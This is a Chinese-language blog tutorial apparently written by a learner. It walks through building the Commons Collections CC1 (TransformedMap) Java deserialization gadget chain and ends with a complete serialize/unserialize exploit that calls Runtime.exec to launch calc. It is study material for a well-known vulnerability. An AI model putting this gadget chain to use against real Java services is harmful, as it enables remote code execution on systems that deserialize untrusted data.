CC1(TransformedMap版)

参考文章:

环境配置

下载maven3.6.3版本,在conf文件夹中的setting.xml中修改配置

  • 添加阿里云仓库
1
2
3
4
5
6
7
<!-- 阿里云仓库,个人配置 -->
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>

image-20261022192644091

  • 修改安装路径
1
<localRepository>D:\Programming Language\Java\MAVEN\apache-maven-3.6.3\maven-repository</localRepository>

image-20261022192641239

  • 配置系统环境变量

在系统变量中新建MAVEN_HOME

image-20261022192638598

在系统环境变量的Path中添加%MAVEN_HOME%\bin

image-20261022192636209

  • 配置IDEA中的maven路径

在设置中修改maven的路径

image-20261022192633077

  • 添加对应CC1的依赖包

在项目根目录中的pom.xml中添加对应的CC1的依赖包

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20261022192630907

  • 下载maven源码

在maven中选择“下载源代码和文档”

image-20261022192628639

下载好之后可以在外部库看到源码文件

image-20261022192626177

解压缩之后,将src/shear/classes中的sun文件拷贝到对应的jdk8u65目录下,这样就可以将.class文件转化为.java文件,这样才可以正常调试

image-20261022192623101

  • 在IDEA中添加源路径

在“项目结构”——>“平台设置”——>“SDK”——>“源路径”中添加

image-20261022192620658

将src导入进去

image-20261022192617989

用一个简单的程序运行测试一下,没有报错就是成功了

1
2
3
4
5
6
7
8
package exp.CC;

public class CC1 {
public static void main(String[] args) throws Exception {
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
}
}

image-20261022192615584

Commons Collections简介

Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码,Commons Collections包为Java标准的Collection API提供了相当好的补充,然后在这个基础上对它常用的数据结构操作进行比较好的封装、抽象和补充,在开发应用程序的过程中,既保证了性能,也能简化代码。这里包括下面的包结构都是简单了解一下,看到大概知道就行,不用全部背下来

包结构介绍

  • org.apache.commons.collections - CommonsCollextions自定义的一组公用的接口和工具类
  • org.apache.commons.collection.bag - 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap - 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer - 实现Buffer接口的一组类
  • org.apache.commons.collections.collection - 实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators - 实现java.util.Comparators接口的一组类
  • org.apache.commons.collections.functors - Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators - 实现java.util.Iterator接口的一组类
  • org.appache.commons.collections.keyvalue - 实现集合和键/值映射相关的一组类
  • org.appache.commons.collections.list - 实现java.util.List接口的一组类
  • org.appache.commons.collections.set - 实现Set系列接口的一组类
  • org.appache.commons.collections.map - 实现Map系列接口的一组类

CC1攻击链路分析

反序列化攻击思路

反序列化的原理可以简单回顾一下,就是接收任意对象,执行readObject方法。

这里就可以思考如何将之前说的任意对象固定方法转换成任意对象任意方法。假设有一个A类,调用了A.readObject,因为根据之前Java相关的知识可以知道这个类中的代码执行是固定的,举个栗子🌰,比如说这个调用了其中的O.aaa,若想要改变它执行的方向就要修改它的O,那就要再接收一个参数O2,调用了另一个xxx方法,以此类推,结尾这里需要一个能够命令执行的危险方法,通常是Runtime.getRuntime.exec()可以简写成r.exec()。

所以我们整体攻击链子的构造就是要从尾部出发去寻找头部,这里完全就可以类比php反序列化的方法了,都是先去找到可利用的方法。流程图如下:

先是找到可执行命令的危险方法A,然后再去寻找调用了这个方法A的方法B,然后继续去找调用了方法B的方法C,以此类推知道找到readObject方法,对其进行重写

image-20261022192612580

寻找实现类

先简单看一下r.exec()的用法

1
2
3
4
5
6
7
8
package exp.CC;

public class CC1 {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
}
}

运行之后就可以弹计算器

image-20261022192609040

因为Runtime类是不能序列化的,所以要使用反射才可以调用类中的getRuntime方法、exec方法

image-20261022192606042

入口点:Transformer类

接收一个对象,在其中调用一个transform方法对对象进行一些操作

image-20261022192603612

可以简单看一下Transformer的实现类,可以看到有ChainedTransformer,ConstantTransformer,InvokerTransformer这三个实现类

查看方法是将光标放在需要你查看的位置然后利用快捷键ctrl+alt+B

image-20261022192600571

ConstantTransformer

调用transform函数也接受了一个对象,返回的是一个预设的常量iConstant,也就是无论接受的是什么对象,都返回的都是构造函数传的内容

可以通过构造函数设置iConstant的值,保证transform方法返回指定的对象

image-20260920205911073

ChainedTransformer

是一个类似于链式的结构,传入了要调用方法transformers的数组,放在iTransformers中存储,然后将传进去的对象链式调用,也就是说这里利用循环(递归)调用,依次调用每个对象的transform方法,使得前一个的输出作为后一个的输入

image-20261022192557171

InvokerTransformer

在这个类中同样也运用了transform方法,接收了一个input对象,然后通过反射调用,参数值均可控,这里就是存在一个任意方法调用

image-20261022192554270

构造攻击链

Step1

先来回顾一下普通的Java反射的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.reflect.Method;

import static java.lang.Runtime.getRuntime;

public class CC1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Class c = Runtime.class;
Method getRuntimeMethod = c.getDeclaredMethod("getRuntime",null);
getRuntimeMethod.setAccessible(true);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
r.exec("calc");
}
}

先获取到Class类,定义getRuntimeMethod方法,获取到getRuntime方法,绕过访问控制,允许后续通过反射调用 private 方法,通过 invoke 调用目标方法,最后执行exec给参数赋值

image-20261022192551131

现在要改成InvokerTransformer的写法

先来看一下InvokerTransformer的构造函数

image-20261022192547015

可以看到有三个参数:

  • methodName:String数组类型,要调用的目标方法,比如exec,toString,newTransformer,这里可以传入getDeclaredMethod方法,从而获得Runtime类的任意方法
  • paramTypes:目标方法的参数类型列表,用于匹配重载方法。
  • args:参数值

这里有一个比较关键的点也是我一直搞混的就是InvokerTransformer 的“函数式调用”本质是什么,简单来说就是对传入的对象,用反射调用它身上的某个方法,并返回方法结果。

那这里首先就是getDeclaredMethod, 可以看到这个方法中是存在两个参数的,第一个参数是String类型,第二个参数是Class类型,所以对应的InvokerTransformer的第二个参数就应该写成new Class[]{String.class,String.class},但是这里要注意的是前半段代码Method InvokerMethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})写完的时候并不是正确的,此时只是创建了InvokerTransformer对象,把 "getDeclaredMethod"、参数类型、参数值存进去,仅此而已。没有执行任何反射,没有产生任何 Method,需要在后面加上.transform(r)内部执行r.getClass().getDeclaredMethod("getDeclaredMethod", ...)→ 再 invoke→ 返回真正的 Method 对象,Method 是.transform(r)被调用之后才从 JVM 里拿出来的。

image-20261022192544333

获得Runtime的实例代码

1
2
Class c = Runtime.class;
Method InvokerMethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);

接下来就要调用执行方法invoke

查看Method.invoke

image-20261022192541479

调用执行方法invoke的实例代码

1
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(InvokerMethod);

调用执行代码exec的实例代码

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

完整的transform的代码

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method InvokerMethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(InvokerMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}

image-20261022192538845

然后就可以利用之前分析的ChainedTransformer类的transform方法就可以进行一个遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Transformer[] transform = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform);
chainedTransformer.transform(c);
}

}

那这里其实就能看到这里的transform方法的使用和上一个有些不一样了,他们的区别简单来说就是:第一个是每一个方法都是单独的,每创建一个 InvokerTransformer,就立即调用它的 transform 方法;那这一个就是把所有 Transformer 对象集中管理,由 ChainedTransformer 统一调度执行。

image-20261022192535547

Step2

这里有一个踩坑小记,卡了有点久

在第一步中是直接调用我们自己写的ChainedTransformer中的transform方法,所以现在就要继续向上找

正常是先跟进这里的transform方法(光标放在这个方法上按住ctrl然后点击就可以跟进)

image-20261022192533157

然后将光标放在transform处,右击选择“查找方法”

image-20261022192530742

正常是可以看到很多调用的(下图是b站视频的

image-20261022192527530

但是我自己的就只能看到一个

image-20261022192524595

在网上找了一个相关的解决方法就是在Maven依赖中下载CC1依赖的源代码

文章参考:IDEA踩坑记录:查找用法 找到的不全怎么办_idea搜索不全-CSDN博客

但是仔细看过我前文的“环境配置”的师傅就应该知道我是下载过源代码的,但是还是不死心的再试了一下去下载依赖的源代码但依旧无济于事(

【不知道过了几天了……】

终于解决了!!!🎉是查找的范围问题

可以看到之前查找的范围是“项目文件 内”

image-20261022192522057

按ctrl+shift+alt+f7修改查找范围,选择“所有位置”

image-20261022192516437

这样就可以看到了🎉

image-20261022192518749

可以看到checkSetValue方法,调用了valuetransformer.transform

image-20261022192513817

可以找到valueTransformer的构造函数,看到函数中首先传入一个map和两个transformer参数,那整体函数的功能就是接收map参数,对map的key和value进行一些操作

那对于checkSetValue这个方法,最终只对value进行了操作,所以之后map的key和value值也只需要传入value,对于key传入null即可

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

那这里我们就可以通过调用checkSetValue方法来调用valueTransformer的transform方法,如果vlueTransformer为chainedtransformer就可以往下衔接到第一步的chainedtransformer.transform(c);的这个调用,就是valueTransformer.transform(c);

image-20261022192510923

在这里可以看到AbstractInputCheckedMapDecorator是TransformedMap的父类,也就是说TransformedMap中有的方法,AbstractInputCheckedMapDecorator中也有,所以就可以在AbstractInputCheckedMapDecorator中找

image-20261022192508236

Step3

继续对checkSetValue查找方法,可以看到在MapEntry类中的setValue方法中调用,那接下来就要找在哪里调用了setValue

image-20261022192505578

依旧是利用“查找方法”,可以找到在AnnotationInvocationHandler类中的readObject方法

image-20261022192501024

这部分的链子大概连起来了

image-20261010184819059

但是要注意的是protected,我们还需要去找一找谁调用了 TransformedMap 的构造方法。

可以找到这里的decorate()方法返回一个实例化的对象

image-20261022192458074

所以就可以将decorate方法返回的实例化对象传给checkSetValue,那decorate()方法就可以作为链子的开头

【方法一】

利用了一段遍历,遍历了map,取出每一个Entry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Transformer[] transform = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform);
chainedTransformer.transform(c);

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map=new HashMap<>();
map.put("key","value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
for(Map.Entry entry:map.entrySet()){
entry.setValue(c);
}
}

}

image-20261026150843666

但是这里执行之后没有弹出计算器,是有问题的。操作的一直是原 HashMap,不是 TransformedMap,所以 ChainedTransformer 依旧没有被调用。

再看了一遍代码,发现是在遍历这一步调用错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package exp.CC;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static Tools.Serialize.serialize;
import static Tools.Unserialize.unserialize;

public class CC1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Transformer[] transform = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform);

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(c);
}

}

}

image-20261026151852026

【方法二】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package exp.CC;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Transformer[] transform = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform);
chainedTransformer.transform(c);

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

}

}

image-20261024164050681

这段代码就是直接创建了HashMap,然后放入了key为value,最后再把map包装成TransformedMap

能弹出计算器说明命令执行成功了

Step4

继续查找setValue,需要找到谁的readObject中调用了setValue

【Other Tips】

这里有一个其他的小思路,就是当我们要找哪个方法里调用了某一个类时,比如说这里我们要找谁的readObject中调用了setValue,这里我们找到了EntrySet中调用了setValue,那我们就可以再多走一层去找谁的readObject中调用了EntrySet

image-20261024171712219

但正常我们都是尽量去找可以直接调用的,这里就直接查找到调用setValue的readObject

这里就是在AnnotationInvocationHandler.readObject中找到了一个遍历Map的功能

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {}

image-20261024183626841

那接下来就是重点看AnnotationInvocationHandler这个类,寻找可以控制的参数,简单看一下他的构造函数

首先就是Type是一个class对象,第二个memberValues是一个Map类型,是我们完全可以控制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

接下来就可以去实例化AnnotationInvocationHandler类,尝试调用memberValues

【Java小知识】

Java中没有明确写类型就是defult类型,defult类型只有在这个包里才可以访问到

1
class AnnotationInvocationHandler implements InvocationHandler, 

这里就是没有明确写public类型或者其他,那就是defult类型,这样就需要通过反射去获取,而不能直接获取

1
2
3
4
Class sun = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = sun.getDeclaredConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object obj = annotation.newInstance(Override.class,decorate);

整体反射大概就是这样写好了

完整链子构造

其实到这里整条链子已经连起来了,但是还是存在几个问题

【问题1】

Runtime不能序列化

但是它的class是可以序列化的。

先写一个最基础的反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package exp.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static Tools.Serialize.serialize;
import static Tools.Unserialize.unserialize;

public class CC1 {
public static void main(String[] args) throws Exception {

Class runtime = Runtime.class;
Method getRuntimeMethod = runtime.getMethod("getRuntime", null);
Runtime invokeMethod = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = runtime.getMethod("exec",String.class);
execMethod.invoke(invokeMethod,"calc");
}

}

接下来给他改成InvokerTransformer版本的

这里跟进getMethod可以看到它的参数一个是String类型,一个是Class类型

1
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

image-20261026161458960

再跟进invoke方法,可以看到参数类型都是Object

1
Runtime invokeMethod = (Runtime) new InvokerTransformer("invoke",new Class[]{Objects.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

image-20261026162129870

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package exp.CC;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

import static Tools.Serialize.serialize;
import static Tools.Unserialize.unserialize;
import static org.apache.commons.collections.CollectionUtils.transform;

public class CC1 {
public static void main(String[] args) throws Exception {

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime invokeMethod = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(invokeMethod);

Class runtime = Runtime.class;

}

}

这里就是完整的调用,可以发现每一个类都是通过调用前一个类,是一个tranform的循环调用,这里就可以联想到之前分析的“实现类”中的ChainedTransform

跟进ChainedTransform查看构造函数,传入Transformer数组,将要用的方法全部写入,接下来进行for循环形成一个递归的调用(其实在之前写过一遍了

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package exp.CC;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

import static Tools.Serialize.serialize;
import static Tools.Unserialize.unserialize;
import static org.apache.commons.collections.CollectionUtils.transform;

public class CC1 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);


Class runtime = Runtime.class;

}

}

image-20261026170906507

那到这里第一个问题就解决啦

【问题2】

需满足AnnotationInvocationHandler中的if条件

接下来就是要进行调试了,这里要注意的是在调试之前需要把对应的一些代码注释掉否则还是会弹出计算器没办法正确调试的

image-20261026190645300

接下来需要满足这个if循环,通过调试来看一下哪里有问题

image-20261026182333241

我们可以先在反序列化入口和if判断处下断点调试

image-20261026220140846

这个type就是我们传入的第一个参数,也就是Override.class

image-20261026220224550

继续往下调试,memberTypes获取Override.class的成员变量

1
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

我们可以再回到写的CC1链中跟进Override.class,可以看到其中为空

image-20261026220547280

接下来就是memberValue,是键值对,getKey就是从这个键值对获取key赋值给name,接着memberTypes.get就是在这个键值对中查找这个key

1
2
3
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);

可以看到memberType的值为null所以无法进入这个if语句

image-20261026215849824

那这里调试完了之后其实很清晰了,因为Override.class没有成员方法,无法查找到key,因此memberType的值为null无法进入这个if语句,所以我们需要找一个有成员方法的class。

我们可以跟进到这个Target中

image-20261026221150834

在这里可以看到Target中存在成员方法

image-20261026221253588

所以可以尝试将Override改为Target,然后再进行一次调试

然后就会发现这里获取到的键值对的键是key,因为map.put("key","value");传入的就是key,而在Target注解中是没有key这个参数,只有value这个参数,所以这里还是null

image-20261026221730449

所以将之前的key改成value,此时键值对的键即为value

image-20261026221903081

这里因为Target中有value这个值,就可以获取到了,所以memberValue的值这里不是null了

image-20261026222030022

那第二个if语句是用来判断memberValue和value能不能强转,这里肯定是不能强转的所以就可以进入第二个if

【问题3】

setValue传入的runtime对象不可控

上面已经满足两个if条件了,那我们就继续往下调试看,发现进入到setValue中参数不可控,而是指定了AnnotationTypeMismatchExceptionProxy,是无法进行命令执行的

image-20261027005557943

那这里其实可以回想到我们之前看过的另一个实现类ConstantTransformer,可以再来回顾一下就是它不管接收到的是什么输入,都可以返回自己的iConstant这个值。

所以我们可以将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

image-20261027005905423

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package exp.CC;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

import static Tools.Serialize.serialize;
import static Tools.Unserialize.unserialize;
import static org.apache.commons.collections.CollectionUtils.transform;

public class CC1 {
public static void main(String[] args) throws Exception {
// Class c = Runtime.class;
// Transformer[] transform = new Transformer[]{
// new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transform);
// chainedTransformer.transform(c);

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime invokeMethod = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(invokeMethod);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);




Class runtime = Runtime.class;
// Method getRuntimeMethod = runtime.getMethod("getRuntime", null);
// Runtime invokeMethod = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = runtime.getMethod("exec",String.class);
// execMethod.invoke(invokeMethod,"calc");

// Method InvokerMethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(InvokerMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);

// for(Map.Entry entry:transformedmap.entrySet()){
// entry.setValue(c);
// }
// Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

Class sun = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = sun.getDeclaredConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object obj = annotation.newInstance(Target.class,transformedmap);

serialize(obj, "ser.bin");
unserialize("ser.bin");
}

}

image-20261027010335909

小结

image-20261027011515909


CC1(TransformedMap版)
https://colourful228.github.io/2026/10/27/CC1(TransformedMap版)/
作者
Colourful
发布于
2026年10月27日
更新于
2026年10月27日
许可协议